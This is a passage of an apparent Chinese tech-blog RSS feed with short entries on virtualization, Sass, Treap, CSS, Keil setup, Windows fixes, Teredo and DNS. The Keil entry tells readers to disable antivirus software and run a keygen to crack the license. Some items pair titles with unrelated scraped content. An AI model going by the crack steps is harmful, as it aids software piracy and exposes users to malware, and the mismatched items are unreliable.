      <description>首先我们的FusionSphere解决方案是我们华为的融合资源池解决方案。那么我们现在的FusionSphere解决方案主要有三大场景：服务器虚拟化场景、云数据中心场景和NFV场景。今天主要介绍我们的服务器虚拟化场景。&#xA;服务器虚拟化场景也称IT架构。该场景在最初的设计时候分为四个层次：基础设施层， 虚拟化层，资源管理层和云服务层。虚拟化层对应的产品就是FusionCompute,资源管理层对应的产品是FusionManager_SV,云服务层对应的产品是FusionManager_SC。&#xA;我们理清楚的华为融合解决方案的层次结构之后，我们先着重看一下我们的虚拟化层。这个层次我们主要通过FusionCompute来实现。那么FusionCompute是云操作系统软件，主要是负责我们硬件资源的虚拟化以及对虚拟资源、业务资源、用户资源的集中管理。它采用虚拟计算、虚拟存储、虚拟网络等技术来完成计算资源、存储资源和网络资源的虚拟化。&#xA;那么计算虚拟化是怎么实现的呢？主要是通过把我们物理的资源抽象成逻辑资源，然后让我们的CPU，内存，磁盘，io等硬件变成可以动态管理的资源池，从而提高了我们资源的利用率和简化了系统的管理。而且我们通过计算虚拟化还能实现一些高级特性，例如内存复用 gustNUMA这样集群特性。&#xA;而我们的网络虚拟化主要通过分布式虚拟交换机，把子网VLAN等资源分配给虚拟机使用，进而实现我们网络资源的虚拟化。&#xA;而存储虚拟化它实质就是把存储设备抽象为数据存储，而这种数据存储就类似文件系统一样，把数据存储为单位分配给我们资源集群使用，然后再通过集群把存储资源提供给我们虚拟机使用。&#xA;那么在资源管理层当中的软件是FusionManager.该软件可以对云计算的软件和硬件进行全面的监控和管理，实现同构，异构vmware虚拟化多资源池管理，进行软硬件统一告警监控，提高运维效率。&#xA;那么服务器虚拟化场景有哪些应用场景呢？主要介绍三大场景。第一个是单虚拟化场景，该场景适用于企业只采用FusionCompute作为统一的操作管理维护平台对整个系统进行操作与维护的应用场景。第二个就是多虚拟化场景，该场景适用于企业有多套虚拟化环境需要进行统一管理的，那么这里主要用到我们的FusionManager来同时接入FusionCompute和vmware虚拟化环境。第三个场景就是私有云场景，该场景适用于企业各部门需要各自管理虚拟资源及业务。发放业务时由管理员和租户分别完成不同任务，共同完成业务的发放。管理资源时候，管理员可以对系统所有资源进行管理，租户只能管理所属VDC的资源。&#xA;纵观华为的这个服务器虚拟化解决方案，我们可以得知有以下几点好处：通过该方案能够帮助客户提升数据中心基础设施的资源利用率，帮助客户成倍缩短业务上线时间，并且降低数据中心能耗。</description>
    </item>
    <item>
      <title>绝地求生亚服服务器维护,绝地求生亚服维护时间</title>
      <link>https://bchobby.github.io/posts/216453325deb22adeb2c6d60c178afd2/</link>
      <pubDate>Tue, 03 Aug 2021 22:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/216453325deb22adeb2c6d60c178afd2/</guid>
      <description>[详情]&#xA;super treasure pirates&#xA;A pirate ship full of exciting items, surprises, puzzles and challenges&#xA;Play and enjoy Super Treasure Pirates game for Free and join the wild adventure today. The high seas need your help! Make as many combinations as you can and help the pirate ship make its way across the ocean. Work out a strategy and plan ahead your moves to unlock special power-ups and win levels.</description>
    </item>
    <item>
      <title>css最好的语言,地表最强专业级CSS扩展语言Sass</title>
      <link>https://bchobby.github.io/posts/f9b5f0fe83339412c50ceb0d3f3b6317/</link>
      <pubDate>Tue, 03 Aug 2021 21:54:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9b5f0fe83339412c50ceb0d3f3b6317/</guid>
      <description>1.什么是Sass?&#xA;Sass(英文全称：Syntactically Awesome Stylesheets)是一个最初由 Hampton Catlin 设计并由 Natalie Weizenbaum 开发的层叠样式表语言。Sass 是一个 CSS 预处理器。Sass 是 CSS 扩展语言，可以帮助我们减少 CSS 重复的代码，节省开发时间。Sass 完全兼容所有版本的 CSS。Sass 扩展了 CSS3，增加了规则、变量、混入、选择器、继承、内置函数等特性。Sass 生成良好格式化的 CSS 代码，易于组织和维护。Sass文件后缀为 .scss。/* 定义颜色变量，要修改颜色值，修改这里就可以了 */&#xA;$primary_1: #a2b9bc;&#xA;$primary_2: #b2ad7f;&#xA;$primary_3: #878f99;&#xA;/* 使用变量 */&#xA;.main-header {&#xA;background-color: $primary_1;&#xA;}&#xA;.menu-left {&#xA;background-color: $primary_2;&#xA;}&#xA;.menu-right {&#xA;background-color: $primary_3;&#xA;}&#xA;2.Sass和Compass的安装[基于window系统]&#xA;Sass基于Ruby语言开发而成，因此安装Sass前需要安装Ruby。考虑到直接下载Ruby会很久，于是，本文中给出了Ruby的下载地址(请参见后面的参考资料)。安装完Ruby后，请注意将Ruby的bin文件夹目录添加至系统的环境变量中，否则在CMD中将无法识别相关命令。系统环境变量的配置，请见下面的图片。&#xA;安装完成后，在CMD中就可以输入ruby -v命令查看Ruby的版本，如下图所示：&#xA;Ruby自带一个叫做RubyGems的系统，用来安装基于Ruby的软件。我们可以使用这个系统轻松地安装Sass和Compass。要安装最新版本的Sass和Compass，你只需要在CMD中输入gem install sass和gem install compass两条命令即可。&#xA;安装完成之后，你应该通过运行下图中的命令来确认应用已经正确地安装到了电脑中。&#xA;3.编译Sass&#xA;编译Sass有很多种方法，本文使用其中最简单的一种即利用vscode中的插件Live Sass编译器。可以通过该插件实时浏览器重新加载来帮助您实时将SASS / SCSS文件编译/转换为CSS文件。在插件商店中先要安装Live Sass编译器。&#xA;在项目的根目录下，建立.vscode文件夹。在当中建立一个settings.json文件，其中输入下面的配置代码：&#34;liveSassCompile.settings.formats&#34;:[</description>
    </item>
    <item>
      <title>【数据结构与算法】JAVA实现Treap（树堆）</title>
      <link>https://bchobby.github.io/posts/49a20e56578fcbb6a7a56fe5c7eb127b/</link>
      <pubDate>Tue, 03 Aug 2021 21:30:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49a20e56578fcbb6a7a56fe5c7eb127b/</guid>
      <description>文章目录 JAVA实现Treapreap：树堆Treap的特点操作具体实现代码实现 JAVA实现Treap reap：树堆 Treap = tree+heap （同时具有二叉查找树和堆序性质）&#xA;参考：《数据结构与算法分析：JAVA语言描述》P368 和 https://blog.csdn.net/ApatheCrazyFan/article/details/53439065&#xA;Treap节点类中除了常规的key（element）项外，还有一项：priority，用来表示该节点的优先级。priority项的值是节点初始化时随机生成的， 整个Treap树：&#xA;除了具有按key值的二叉查找树性质：即节点的左儿子的key值小于本节点key值，右儿子的key值大于本节点key值。还具有按priority值的堆序性质：即节点的儿子的priority值大于等于本节点的priority值。 Treap的特点 Treap简明易懂。Treap只有两种调整方式，左旋和右旋。Treap易于编写。Treap只需维护一个满足堆序的修正值，修正值一经生成无需修改。Treap稳定性佳。Treap的平衡性虽不如 AVL，红黑树， SBT等平衡树，但是 Treap也不会退化，可以保证期望 O(logN)的深度。Treap的稳定性取决于随机数发生器。Treap具有良好的实践效果。各种实际应用中， Treap的稳定性表现得相当出色，没有因为任何的构造出的数据而退化。Treap像跳跃表一样使用了随机数，使Treap树的深度为O(logN)，所以对于任意的输入其操作的时间复杂度都为O(logN)。 查找操作的时间等同于非平衡二叉查找树，所以比平衡二叉查找树要慢插入操作的时间只比递归非平衡二叉查找树稍慢。删除操作的时间虽然也要慢的多，但也是O(logN)。 操作具体实现 插入操作：&#xA;1.按照二叉查找树的插入方式，将节点插入到树叶中&#xA;2.再按照priority项的堆序（小顶堆）性质进行节点位置的调整删除操作：&#xA;1.找到相应的结点&#xA;2.若该结点为叶子结点，则直接删除；&#xA;若该结点为非叶子节点，则进行相应的旋转，直到该结点为叶子节点，然后进行删除。 代码实现 package chapter12; import chapter04.MyCustomException; import java.util.Random; public class Treap&amp;lt;T extends Comparable&amp;lt;? super T&amp;gt;&amp;gt; { private Node&amp;lt;T&amp;gt; root; // 根节点 private final Node&amp;lt;T&amp;gt; nullNode; // 空节点 private static class Node&amp;lt;T&amp;gt; { static Random random = new Random(); // 随机数发生器 T element; // key值 int priority; // 优先级 Node&amp;lt;T&amp;gt; left; Node&amp;lt;T&amp;gt; right; Node(T element) { this(element, null, null); } Node(T element, Node&amp;lt;T&amp;gt; left, Node&amp;lt;T&amp;gt; right) { this.</description>
    </item>
    <item>
      <title>css 渐变w3,css3 Gradient渐变</title>
      <link>https://bchobby.github.io/posts/6994be16ada921fbeffb76296b076a48/</link>
      <pubDate>Tue, 03 Aug 2021 21:16:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6994be16ada921fbeffb76296b076a48/</guid>
      <description>CSS3 Gradient分为linear-gradient(线性渐变)和radial-gradient(径向渐变)。&#xA;首先，我们先来了解一下目前的几种现代浏览器的内核，主流的主要有Mozilla(Gecko)(熟悉的有Firefox，Flock等浏览器)、WebKit(熟悉的有Safari、Chrome等浏览器)、Opera(presto)(Opera浏览器)、Trident(IE浏览器)。&#xA;接下来，我们就来详解Gradient渐变的具体用法。&#xA;一、linear-gradient(线性渐变)&#xA;1.1 语法&#xA;linear-gradient( [ || ,]? , [, ]* } //标准写法&#xA;-webkit-linear-gradient( [ || ,]? , [, ]* } //在WebKit浏览器下的应用&#xA;-moz-linear-gradient( [ || ,]? , [, ]* ) //在Mozilla浏览器下的应用&#xA;-o-linear-gradient([ || ,]? , [, ]); //在Opera浏览器下的应用&#xA;1.2 参数解析&#xA;参数：&#xA;是角度，单位为deg&#xA;point ： 第一个参数表示线性渐变的方向，可用关键字top、left、bottom、right，to top是从上到下、to left是从左到右，如果定义成to left top，那就是从左上角到右下角(to可省略)。&#xA;= [ | ]:&#xA;：指渐变的起止颜色。&#xA;：用长度值指定起止色位置，不允许负值。&#xA;：用百分比指定起止色位置。&#xA;例子：&#xA;background:linear-gradient(left top,yellow,blue);&#xA;background:-webkit-linear-gradient(left top,yellow,blue);&#xA;background:-moz-linear-gradient(left top,yellow,blue);&#xA;background:-o-linear-gradient(left top,yellow,blue);&#xA;当然，你还可以在它们之间插入更多的参数，表示多种颜色的渐变。</description>
    </item>
    <item>
      <title>Keil C51与Keil MDK共存，Keil4与Keil5共存的安装方式推荐</title>
      <link>https://bchobby.github.io/posts/69b4eb26f7d719bb4a6604c3bd27561e/</link>
      <pubDate>Tue, 03 Aug 2021 20:02:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69b4eb26f7d719bb4a6604c3bd27561e/</guid>
      <description>Keil C51与Keil MDK共存的安装 举例使用Keil5版本C51、MDK&#xA;1、在C盘下直接创建两个文件夹：KeilV5C51和KeilV5MDK。&#xA;不同的是需要在KeilV5MDK文件夹下再新建一个文件夹并命名为Pack&#xA;如果C盘空间足够的话才建议选择使用该方式安装。如果C盘空间不足完全可以选择其它剩余空间充足的磁盘创建相同名称的文件夹。&#xA;2、下载Keil的安装包&#xA;Keil5 C51(版本)：&#xA;Keil5 MDK(版本):&#xA;如果电脑空间足够的话，下载的安装包最好一起存放在一个文件夹中保存，因为大多数同学不会使用正版付费Keil秘钥，所以后面出现无法解决的问题时保留的安装包对重装软件就有很大帮助。&#xA;开始安装，以C51为例 3、双击解压后的安装包开始安装。&#xA;C51的软件安装已经结束。下一将使用某款软件对安装的KeilC51进行分辨率修改并激活。&#xA;4、回到桌面检查是否有软件的快捷启动方式。&#xA;如果没有的话请删除第一步中创建的文件夹，然后重复安装步骤。若重复尝试依然失败，请更换其他版本Keil安装包。&#xA;看到启动方式后慢双击快捷方式名称，修改名称为：KeilC51&#xA;为了保证多版本共存请务必修改名称。修改时如果弹窗提示需要使用管理员权限，点击继续即可。&#xA;5、修改程序分辨率问题&#xA;右键选择属性，更改DPI&#xA;勾选后务必：确定&amp;gt;应用&amp;gt;确定&#xA;6、关闭电脑的声音，打开静音模式。关闭所有杀毒软件。右键快捷方式用管理员身份打开软件。&#xA;打开注册栏&#xA;看到以下界面后打开软件安装包的文件夹，右键以管理员身份运行keygen_new2032程序&#xA;复制电脑ID&#xA;将该ID粘贴到CID中，点击Generatr生成注册秘钥&#xA;将该注册秘钥复制粘贴到Keil中完成激活，激活有效期到2032年。&#xA;然后关闭激活软件和Keil,重启Keil后就可以正常使用了。&#xA;安装MDK Keil5MDK的安装方式和C51如出一辙，唯独一个地方不太一样：安装路径和器件支持包路径都要选择正确，特别的Pack安装路径如果按照默认路径来后面可能会出现各种奇怪的问题。&#xA;具体的安装步骤不再累赘。&#xA;需要注意的是，安装并激活完成后不能直接使用，还需要安装对应的芯片支持包，联网的话Keil5可以联网下载Pack，32的话一般来说可以本地安装Pack。,链接: STM32F1XX， STM32F4XX以及更多资源。Pack的安装直接一路Next就行。&#xA;Keil4与Keil5并存安装解决方案 具体的安装步骤不再赘述。不同版本的Keil共存安装的核心就是路径的划分。也就是本篇开篇提及的创建不同文件夹，并在安装时选择对应的文件夹安装。修改安装后的程序快捷方式也是为了强调是不同程序。&#xA;那么问题来了，既然是不同版本不同功能的程序为什么用默认安装之后会出现奇怪的问题呢？这归功与Windows的注册表机制，使用默认方式会把不同版本的C51和MDK安装到同一个文件夹之中。只会导致系统在启动的时候不能正确引导，往往呈现的现象就是只能打开C51或者只能打开MDK。&#xA;解决时不仅要把对应软件卸载，更要把安装程序的文件夹路径删除，然后重新创建文件夹安装。&#xA;初入CSDN，写博不易，都看到这了点个赞再走吧。</description>
    </item>
    <item>
      <title>电脑账户服务器未能登录拒绝访问,“Group Policy Client服务器未能登陆拒绝访问”的解决方案...</title>
      <link>https://bchobby.github.io/posts/82d6a33b90153a2c418d3f8519959184/</link>
      <pubDate>Tue, 03 Aug 2021 19:24:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82d6a33b90153a2c418d3f8519959184/</guid>
      <description>方案一：&#xA;(1)“开始”—“控制面板”—“管理工具”，双击“服务”。&#xA;(2)右击Group policy client服务项，选择“属性”。&#xA;(3)在Group policy client属性窗口下，将启动类型设置为“自动”，点击“确定”即可。&#xA;如果正常模式下无法启动该服务，可以在启动系统。时按F8直接选择进安全模式，再按Win+R键调出运行对话框，输入“services.msc”打开服务管理器，找到Group policy client服务并将其设置为“自动”即可解决问题。&#xA;方案二：开机进入安全模式删除密码&#xA;开机后不停点键盘上方的F8健，可以看到一个高级选择菜单&#xA;选择安全模式，可能会遇到英文的安全模式如下图选择安全模式&#xA;2.当选择安全模式后，有可能会有其他选择&#xA;3.在这步可能会让您选择启动的操作系统，这个默认点击回车即可&#xA;4.在进入安全模式前，会提示是否在安全模式下载运行，点击是，或者直接回车。&#xA;5..点击开始——控制面板——用户账户，点击您当前使用的用户账户。&#xA;6.点击“删除我的密码”&#xA;7.输入之前的账户密码，然后点击“删除密码”即可。&#xA;方案三：在360安全卫士开机加速——启动项——系统关键服务，找到Group Policy Client这个服务，“恢复启动”就可以了！</description>
    </item>
    <item>
      <title>css3 万花筒原理,使用CSS3 clip-path实现的三角形万花筒</title>
      <link>https://bchobby.github.io/posts/0956163928f6112c70160f857cdc1474/</link>
      <pubDate>Tue, 03 Aug 2021 19:17:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0956163928f6112c70160f857cdc1474/</guid>
      <description>CSS&#xA;语言：&#xA;CSSSCSS&#xA;确定&#xA;body {&#xA;background-color: #111;&#xA;overflow: hidden;&#xA;}&#xA;.triangles {&#xA;position: absolute;&#xA;top: calc(50% - 192px);&#xA;left: calc(50% - 192px);&#xA;-webkit-transform: rotate(22.5deg);&#xA;transform: rotate(22.5deg);&#xA;}&#xA;.img {&#xA;width: 250px;&#xA;height: 207px;&#xA;position: absolute;&#xA;-webkit-clip-path: polygon(100% 50%, 0 0, 0 100%);&#xA;clip-path: polygon(100% 50%, 0 0, 0 100%);&#xA;background: url(/uploads/161001/lighten3.jpg) right center/200%;&#xA;-webkit-transform-origin: 248px center;&#xA;transform-origin: 248px center;&#xA;-webkit-animation: shift 6s infinite linear;&#xA;animation: shift 6s infinite linear;</description>
    </item>
    <item>
      <title>css3 万花筒原理,变化各种漂亮图案（万花筒）的CANVAS动画</title>
      <link>https://bchobby.github.io/posts/fee01e9ee832bb2351e910d76d576f0d/</link>
      <pubDate>Tue, 03 Aug 2021 19:17:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fee01e9ee832bb2351e910d76d576f0d/</guid>
      <description>JavaScript&#xA;语言：&#xA;JaveScriptBabelCoffeeScript&#xA;确定&#xA;var c = document.getElementById(&#39;canv&#39;),&#xA;$ = c.getContext(&#39;2d&#39;),&#xA;w = c.width = window.innerWidth,&#xA;h = c.height = window.innerHeight,&#xA;t = 0,&#xA;num = 950,&#xA;s, a, b, u = 0,&#xA;x, y, _x, _y,&#xA;_t = 1 / 16;&#xA;function random(min, max) {&#xA;return Math.random() * (max - min) + min;&#xA;}&#xA;var anim = function() {&#xA;$.globalCompositeOperation = &#39;multiply&#39;;&#xA;$.fillStyle = &#39;hsla(258,20%,50%,1)&#39;;&#xA;$.fillRect(0, 0, w, h);</description>
    </item>
    <item>
      <title>css3动画右侧边栏,侧边栏的动画效果</title>
      <link>https://bchobby.github.io/posts/aaccf637d1ca681d062d4c81328683fd/</link>
      <pubDate>Tue, 03 Aug 2021 18:51:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaccf637d1ca681d062d4c81328683fd/</guid>
      <description>效果:&#xA;代码:html结构&#xA;我 资产 品牌 直播 看过 日历 我 资产 品牌 直播 看过 日历 css样式&#xA;*{margin: 0px;padding: 0px;}&#xA;ul{list-style: none;}&#xA;#sidebar{width: 35px;background-color: #e1e1e1;padding-top: 200px;position: fixed;min-height: 100%;z-index: 100}&#xA;.item{font-size: 12px;font-family: &#39;Microsoft YaHei&#39;;text-align: center;margin-top: 5px;}&#xA;#closebar{position: absolute;bottom: 30px;width: 35px;text-align: center;cursor: pointer;}&#xA;.nav-content{width: 200px;position: fixed;min-height: 100%;background-color: #e1e1e1;border: 1px solid black;opacity: 0}&#xA;.nav-con-close{position: absolute;top: 5px;right: 5px;z-index: 99;cursor: pointer;}&#xA;.sidebar-move-left{&#xA;/*left: -120px;*/&#xA;-webkit-animation-name:sml;&#xA;-moz-animation-name:sml;&#xA;-o-animation-name:sml;&#xA;animation-name:sml;&#xA;-webkit-animation-duration:1s;&#xA;-moz-animation-duration:1s;&#xA;-o-animation-duration:1s;&#xA;animation-duration:1s;&#xA;-webkit-animation-iteration-count:1;&#xA;-moz-animation-iteration-count:1;&#xA;-o-animation-iteration-count:1;&#xA;animation-iteration-count:1;</description>
    </item>
    <item>
      <title>css图片满铺占满整个div不变形,16、css实现div中图片占满整个屏幕</title>
      <link>https://bchobby.github.io/posts/7eb67331d7e69a65d11013e4399531b1/</link>
      <pubDate>Tue, 03 Aug 2021 18:22:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7eb67331d7e69a65d11013e4399531b1/</guid>
      <description>新版 itextsharp pdf code&#xA;using System; using iTextSharp.text; using iTextSharp.text.pdf; using System.IO; namespace iTextShar ...&#xA;Ansible-Tower快速入门-1&amp;amp;period;概览【翻译】&#xA;概览 Tower Ansible-Tower是作为Ansible的一个web接口界面,并采用REST API作为端点接入.通过使用开源的orchestration engine,无论是与你的团队共享操 ...&#xA;Xcode添加代码块&#xA;1.在编辑区写好代码 @property (nonatomic, assign) 在Xcode中实际输入完成之后显示的是下面的样子: 2.全 ...&#xA;POJ 2386 Lake Counting &amp;amp;lpar;水题，DFS&amp;amp;rpar;&#xA;题意:给定一个n*m的矩阵,让你判断有多少个连通块. 析:用DFS搜一下即可. 代码如下: #pragma comment(linker, &#34;/STACK:1024000000,102400 ...&#xA;使用NaturalDuration获取音频的时长&#xA;#region customizeTime ) sec = &#34; + mediaElement.Position.Seconds.ToString(); else sec = mediaEle ...&#xA;vue-cli 脚手架 Command Line Interface&#xA;mac sudo npm install -g nrm sudo npm config -g set unsafe-perm sudo npm install webpack@3.</description>
    </item>
    <item>
      <title>C语言管理系统</title>
      <link>https://bchobby.github.io/posts/f97e03cb45a0277848b37812be319173/</link>
      <pubDate>Tue, 03 Aug 2021 17:37:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f97e03cb45a0277848b37812be319173/</guid>
      <description>今天整理资料的时候就想着顺便发出来供大家参考一下~&#xA;大一c语言的课设源代码如下：&#xA;#include&amp;lt;stdlib.h&amp;gt; #include&amp;lt;windows.h&amp;gt;//清屏 #include&amp;lt;conio.h&amp;gt;//getch #include&amp;lt;string.h&amp;gt; #include&amp;lt;stdio.h&amp;gt; #define len sizeof(struct Node) void toxy(int x,int y);//控制光标 void Adminsign();//管理员注册 void AdminLogin();//管理员登录 void AdminMenu();//管理员菜单 void AddList();//添加商品 void AddHead(struct Node *temp);//头插 void AddTail(struct Node *temp);//尾插 void FreeList(struct Node* head);//删除指定节点 void ScanList(struct Node* head);//把链表存到文件里 struct Node * FindNode(char name[20]);//查询指定的节点 void Print1();//管理员查看菜单 void mlist(struct Node* head);//删除指定节点 void FindNode2();//按照商品名查找指定节点 void FindNode3();//按照价格查找指定节点 void Find();//查找方式函数 void sort();//排序函数 void asort(struct Node* head);//从小到大排序 void dsort(struct Node* head);//从大到小排序 void stat(struct Node* head);//统计商品 void Print2(struct Node* head);//打印链表 typedef struct Node{ char name[20]; float price; struct Node *next; }node; typedef struct users { char name[20]; char code[20]; float money; }Users; struct Node *head = NULL; struct Node *end = NULL; void toxy(int x,int y) { COORD pos={x,y};//y是行数，x为列数 HANDLE Out=GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(Out,pos); } void Adminsign() { system(&#34;</description>
    </item>
    <item>
      <title>原始传奇手游服务器不显示,原始传奇闪退黑屏怎么办 原始传奇闪退黑屏解决办法-游侠手游...</title>
      <link>https://bchobby.github.io/posts/341509ac9cd41cbfb6431f1965239ea0/</link>
      <pubDate>Tue, 03 Aug 2021 17:33:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/341509ac9cd41cbfb6431f1965239ea0/</guid>
      <description>原始传奇闪退黑屏怎么办？玩手机游戏时很容易出现各种各样的问题，那么如果在玩原始传奇的时候出现了闪退黑屏应该怎么办呢？小编已经整理好了相关内容，一起来看看吧。&#xA;原始传奇闪退黑屏怎么​办&#xA;一、闪退黑屏原因&#xA;1、硬件&#xA;硬件可能还没达到晚一些游戏的配置，比如内存不足就很常见。&#xA;2、游戏版本问题&#xA;随着在游戏版本的更新，旧版本有些软件就会和服务器不兼容等等，所以如果是版本太旧，造成闪退，更新最新版即可。&#xA;3、网络不稳定&#xA;大部分网络不稳定时会造成闪退的情况，推荐玩家们在WIFI的情况下进行游戏，如果WIFI的话可以优化一下或者重启路由器。&#xA;二、解决方法&#xA;1、最常见的就是安卓玩家闪退问题现象，其中大部分玩家就是数据包没有下对，建议卸载掉会闪退的版本，重新下载个完整数据包进行游戏。&#xA;2、游戏版本过低，重新下载游戏客户端即可解决。&#xA;3、手机内存不够，退出游戏，清理不用软件和后台缓存，空出足够内存即可解决。&#xA;4、使用软件修改过游戏内容，重新下载游戏客户端即可解决。&#xA;5、手机系统版本不符台，升级手机版本即可解决。&#xA;以上就是小编带来的原始传奇闪退黑屏解决办法的全部内容了，希望对大家有所帮助。&#xA;欢迎各位小伙伴加群讨论：&#xA;群名：游侠手游官方交流群&#xA;一群号：1102670013&#xA;二群号：771564278</description>
    </item>
    <item>
      <title>主窗口 （QMainWindow）</title>
      <link>https://bchobby.github.io/posts/3a0a46f65a83cd513a62915b5504d9bd/</link>
      <pubDate>Tue, 03 Aug 2021 16:36:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a0a46f65a83cd513a62915b5504d9bd/</guid>
      <description>主窗口 （QMainWindow） 一. 主窗口概念 主窗口是与用户进行长时间交互的顶层窗口&#xA;程序的绝大多数功能直接由主窗口提供&#xA;主窗口通常是应用程序启动后显示的第一个窗口&#xA;整个程序由一个主窗口和多个对话框组成&#xA;二. Qt中的主窗口（QMainWindow） QMainWindow是Qt中主窗口的基类QMainWindow继承于QWidget，是一种容器类型的组件 QObject QWidget QPaintDevice QMainWidow QMainWindow中的组件布局&#xA;三. 主窗口中的菜单 和菜单相关的组件&#xA;在Qt窗口中创建菜单 #ifndef MAINWINDOW_H #define MAINWINDOW_H #include &amp;lt;QMainWindow&amp;gt; #include &amp;lt;QKeySequence&amp;gt; #include &amp;lt;QMenuBar&amp;gt; #include &amp;lt;QAction&amp;gt; class MainWindow : public QMainWindow { Q_OBJECT private: MainWindow(); MainWindow(const MainWindow&amp;amp;); MainWindow&amp;amp; operator= (const MainWindow&amp;amp;); bool construct(); bool initMenuBar(); bool initFileMenu(QMenuBar* mb); bool makeAction(QAction*&amp;amp; action, QString text, int key); public: static MainWindow* NewInstance(); //二次构造 ~MainWindow(); }; #endif // MAINWINDOW_H #include &#34;</description>
    </item>
    <item>
      <title>微软的teredo服务器,win10系统通过teredo连接ipv6的具体教程</title>
      <link>https://bchobby.github.io/posts/4677de16d16e9aa3fdfc240b2be5ca11/</link>
      <pubDate>Tue, 03 Aug 2021 16:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4677de16d16e9aa3fdfc240b2be5ca11/</guid>
      <description>有关win10系统通过teredo连接ipv6的操作方法想必大家有所耳闻。但是能够对win10系统通过teredo连接ipv6进行实际操作的人却不多。其实解决win10系统通过teredo连接ipv6的问题也不是难事，小编这里提示两点：1、在“开始”里输入“cmd”，右击，“以管理员身份运行”； 2、在命令行里输入：netsh interface teredo set state default server=default；；掌握这些就够了。如果还想了解更多详细内容，可继续学习下面关于win10系统通过teredo连接ipv6的操作方法的介绍。&#xA;推荐：&#xA;1、在“开始”里输入“cmd”，右击，“以管理员身份运行”；&#xA;2、在命令行里输入：netsh interface teredo set state default server=default；&#xA;3、即可恢复teredo；&#xA;4、输入：netsh interface ipv6 reset；&#xA;5、并重启计算机，可以重设ipv6设置。&#xA;微软的teredo服务器是：teredo.ipv6.microsoft.com。据说网通已经把它x了。&#xA;6、teredo服务器：teredo-debian.remlab.net，大家可以用一下命令更改teredo服务器，以防服务器被x：&#xA;netsh interface teredo set state server=teredo-debian.remlab.net&#xA;7、然后运行一下命令：ipconfig&#xA;看到“Teredo Tunneling pseudo-interface”有以2001开头的地址即可。&#xA;关于win10系统通过teredo连接ipv6的方法就给大家介绍到这边了，有需要的用户们可以按照上面的方法步骤来进行操作吧。</description>
    </item>
    <item>
      <title>UWB定位系统的主要误差来源</title>
      <link>https://bchobby.github.io/posts/22a2d8522debb597e8b2f7ae190d6bfa/</link>
      <pubDate>Tue, 03 Aug 2021 15:41:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22a2d8522debb597e8b2f7ae190d6bfa/</guid>
      <description>1、时钟同步精度 TOA定位算法需要目标节点与参考节点之间的精确的时间同步，TDOA定位算法需要参考节点之间精确时钟同步，因此，非精确的时间同步将导致UWB系统的定位误差。但由于硬件的局限，完全精确的时钟同步是不可能的。&#xA;2、多径传播 TOA估计算法中，经常用匹配滤波器输出最大值的时刻或相关最大值的时刻作为估计值。由于多径的存在，使相关峰值的位置有了漂移，从而估计值与实际值之间存在很大误差。&#xA;3、非视距传播 视距传播是得到准确的信号特征测量值的必要条件，当两个点之间不存在直接传播路径时，只有信号的反射和衍生成分能够达到接收端，此时第一个到达的脉冲的时间不能代表TOA的真实值，存在非视距误差。&#xA;4、多址干扰 在多用户环境下，其他用户的信号会干扰目标信号，从而降低了估计的准确性。减小这种干扰的一种方法就是把来自不同用户的信号从时间上分开，也即对不同节点使用不同的时隙进行传输。</description>
    </item>
    <item>
      <title>如何查看dns服务器信息,如何查看本地DNS服务器IP地址(图文教程)?</title>
      <link>https://bchobby.github.io/posts/772e6872e2fd21225174e1e50d9ca489/</link>
      <pubDate>Tue, 03 Aug 2021 15:34:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/772e6872e2fd21225174e1e50d9ca489/</guid>
      <description>如何查看本地DNS服务器IP地址(图文教程)?相信很多朋友遇到过自己喜欢的网站打不开的情况，或者自定义本机IP地址的时候，不知道如何输入首选DNS和备用DNS的情况，一般来讲输入本地的DNS的效果是最好的!但是一些朋友不知道怎样查看本地DNS服务器地址的方法，实际上方法很多，下面我们介绍两种比较常用的方法，希望对新手朋友们有所帮助!下面方法适用于Windows所有版本！&#xA;方法一：通过搜索引擎&#xA;本地DNS服务器IP地址一般以地级市为基准，所以我们可以通过搜索引擎输入关键字，如我们在搜索引擎中输入“恩施市DNS服务器地址”，如下图所示。或者输入全国的DNS服务器IP地址，在结果中灾区找自己所在地的DNS服务器IP地址&#xA;方法二：通过命令提示符工具&#xA;第一步、按下Win+R组合键，在运行命令输入框中，输入“cmd(不分大小写，注：不含双引号，下同)”后回车&#xA;第二步、在出现的命令提示符窗口中输入“ipconfig /all(/前有空格)”后回车&#xA;第三步、在出现的查询结果界面，找到“DNS 服务器(DNS servers)”后面的IP地址，就是本地DNS服务器的IP地址，如下图标志处所示&#xA;实际上，如何查看本地DNS服务器IP地址的方法没有太大的用场。我们在本机上如果要设置DNS服务器地址的话，我们可以输入8.8.8.8(谷歌服务器地址)，或者114.114.114.114(国内第一个、全球第三个开放的DNS服务地址)就可以了。可以在一定程度上避免DNS欺骗。感兴趣的朋友可以试下!</description>
    </item>
    <item>
      <title>jquery设置cookie、删除cookie、获取cookie</title>
      <link>https://bchobby.github.io/posts/a1c910f7232fe784b7adbb653a55ea27/</link>
      <pubDate>Tue, 03 Aug 2021 15:18:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1c910f7232fe784b7adbb653a55ea27/</guid>
